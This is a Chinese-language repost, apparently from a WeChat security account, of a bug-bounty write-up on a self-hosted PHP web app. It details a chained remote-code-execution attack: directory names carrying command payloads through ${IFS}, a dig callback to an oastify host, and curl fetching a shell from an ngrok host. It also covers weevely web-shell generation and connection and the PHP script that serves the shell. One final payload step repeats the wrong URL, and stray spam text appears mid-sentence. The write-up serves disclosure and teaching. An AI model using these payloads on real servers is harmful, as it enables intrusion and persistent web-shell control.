免责声明:本公众号文章大部分来自作者日常学习笔记,部分文章经作者授权及其他公众号白名单转载。 未经授权严禁转载。 如需转载,请联系开百。
请勿借助文章中相关技术进行非法测试,由此造成的任何不良后果与文章作者及本公众号无关。
现在只有经常阅读、有明星的公众号才会展示大图推送。 建议大家“定潇湘新安为明星”,不然可能看不到!
前言
这篇文章可以认为是我之前耗资 10,000 美元的研究成果的延续。 此前,我可以通过 RCE 漏洞所在的公共 .git 目录访问源代码。 研究完这个漏洞后,我继续检测其他漏洞的代码。 幸运的是,我发现了另一个更复杂的 RCE,具有目录创建功能,你一定会喜欢它 =)
注意:我建议阅读我之前的文章,了解如何访问此 Web 应用程序的源代码。
第0章
首先,要查找源代码中的漏洞,您需要识别潜在的入口点。 像 SonarQube 这样的工具可以用于此目的,但我更喜欢使用老式的 grep。
以下是 PHP 的一些示例:
跨站脚本:
grep -Ri "$_" . | grep "echo"
grep -Ri "$_GET" . | grep "echo"
grep -Ri "$_POST" . | grep "echo"
grep -Ri "$_REQUEST" . | grep "echo"
命令执行:
grep -Ri "shell_exec(" .
grep -Ri "system(" .
grep -Ri "exec(" .
代码执行:
grep -Ri "eval(" .
grep -Ri "assert(" .
grep -Ri "preg_replace" . | grep "/e"
SQL注入:
grep -Ri "$sql" .
grep -Ri "$sql" . | grep "$_"
射频干扰/低频干扰:
grep -Ri "file_include" .
grep -Ri "include(" .
grep -Ri "require(" .
grep -Ri "include_once(" .
grep -Ri "require_once(" .
grep -Ri "require_once(" . | grep "$_"
第1章
扫完代码,我重点关注了这部分,这里用到了@exec()函数。 通过这个函数企业网站源码php,我会尝试获取RCE。
该代码的目的是确定文件的大小。 首先,在第 40 行,调用 scandir(),返回目录内容字段。
接下来,通过 preg_replace() 过滤文件和目录的名称,并将其发送到 @exec() 调用所在的 filesize64() 函数。
很酷,但是此代码不接受任何用户输入进行注入,除了 /home/html/ftp-upload/uploads/OELxI386/ 目录的内容,我无法控制该目录。 所以我把这个代码搁置了几个星期......
第2章
一段时间后,我决定仔细检查我之前的 RCE 是如何修补这个资源的。 我正在尝试不同的有效负载,并偶然发现,如果我在 adduser 参数中指定两个由空格分隔的值 test%20somename,例如在以下 URL 中:
http://example.com/ftp-upload/sync.php?adduser=test%20someuser&secret1=[secret1]&secret2=[secret2]
%20 空格旁边的值将用于在与 PHP 文件相同的位置创建一个同名的目录。
负责此操作的代码:
因此,通过空格传递值,创建目录的代码将如下所示:
mkdir /home/html/ftp-upload/uploads/test somename
第3章
创建自己的目录的能力让我产生了使用它向@exec()注入有效负载并使用这条链来实现RCE的想法。
第一个想法是尝试创建一个名称中包含有效负载的目录,该目录将向我的服务器发送请求。 如果请求到达,则代码已成功执行。
为此,我使用了 dig 命令:
dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
为了让 scandir() 读取具有这样名称的目录,我们在 uploads/OELxI386/ 中创建它
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]
但它不会执行任何操作,因为有效负载中使用了空格,并且当它进入 mkdir 命令时,空格分隔有效负载并创建三个目录:
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
因此,我们的payload不应该包含空格,可以用${IFS}替换。
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`&secret1=[secret1]&secret2=[secret2]
伟大的! 名称中包含有效负载的目录已创建,现在我们需要使用易受攻击的函数运行脚本来读取该目录的内容。为此,我们需要访问
http://example.com/ftp-upload/testSize.php
我们看到脚本已经生效了:
并且请求已经成功到达,那就是远程代码执行!
让我们重复一下这里发生的事情:
1. 我们发送请求以在我们需要的位置创建包含有效负载的目录:
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]
2. 有效负载被发送到创建目录的脚本。
将在服务器上执行的命令是:
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
3.我们启动目录读取脚本:
http://example.com/ftp-upload/testSize.php
该脚本读取目录 /home/html/ftp-upload/uploads/OELxI386/(我们将有效负载上传到其中)的内容,并将其传递给 filesize64() 函数,该函数调用有效负载的代码。
它被传递到 filesize64() 函数,其中使用我们的有效负载调用代码。
第四章
剩下的就是上传一个 shell,以便在服务器上不受限制地执行代码。
让我们继续复制步骤:
1.使用weevely创建shell并保存为txt
weevely generate 123pass shell.txt
2. 创建一个index.php 文件,该文件将在我们的服务器上用于上传shell。
$attachment_location = "shell.txt";
if (file_exists($attachment_location)) {
header($_SERVER["SERVER_PROTOCOL"] . " 200 OK");
header("Cache-Control: public");
header("Content-Type: plane/text");
header("Content-Transfer-Encoding: Binary");
header("Content-Length:".filesize($attachment_location));
header("Content-Disposition: attachment; filename=shell.php");
readfile($attachment_location);
die();
} else {
die("Error: File not found.");
}
当对该脚本发出请求时,存在漏洞的服务器将获取我们的 shell.txt 并将其保存为 shell.php。 这样,shell.php就会被上传到存在漏洞的服务器上。
3.搭建本地PHP服务器并使用ngrok建立隧道连接
php -S 127.0.0.1:8889 index.php
ngrok http -subdomain=rce 8889 -scheme http -scheme https
4. 最后一步是创建最终有效负载以将 shell 上传到服务器。
由于服务器仍然具有过滤功能,我进行了一些头脑风暴,结果得到了以下有效负载:
uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`
有效负载将在易受攻击的服务器上执行以下命令:
cd error #转到可写目录
curl rce.eu.ngrok.io -o shell.php #将shell下载到易受攻击的服务器的命令
代码中无法使用斜杠企业网站源码php,因为服务器使用 preg_match('/[/:”*?|]+/', $f) 的形式进行过滤。
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]
5.我们调用脚本来执行代码
http://example.com/ftp-upload/testSize.php
之后我们的服务器收到一个请求
我们检测error/目录下是否有shell
在那里!
6. 剩下的就是连接到它并执行命令
weevely http://example.com/ftp-upload/errors/shell.php 123pass
现在我们可以去附近的夜总会庆祝一下。
经过几天的修正,团队奖励了我一笔赏金(按照传统,激励截图=))
这次他们给我的工资比我想象的要低很多,公司是这样解释的:
这是在自托管平台上查找错误的缺点。
我希望我也向您阐明了一个有趣的剥削案例。 快乐的狩猎和丰厚的赏金!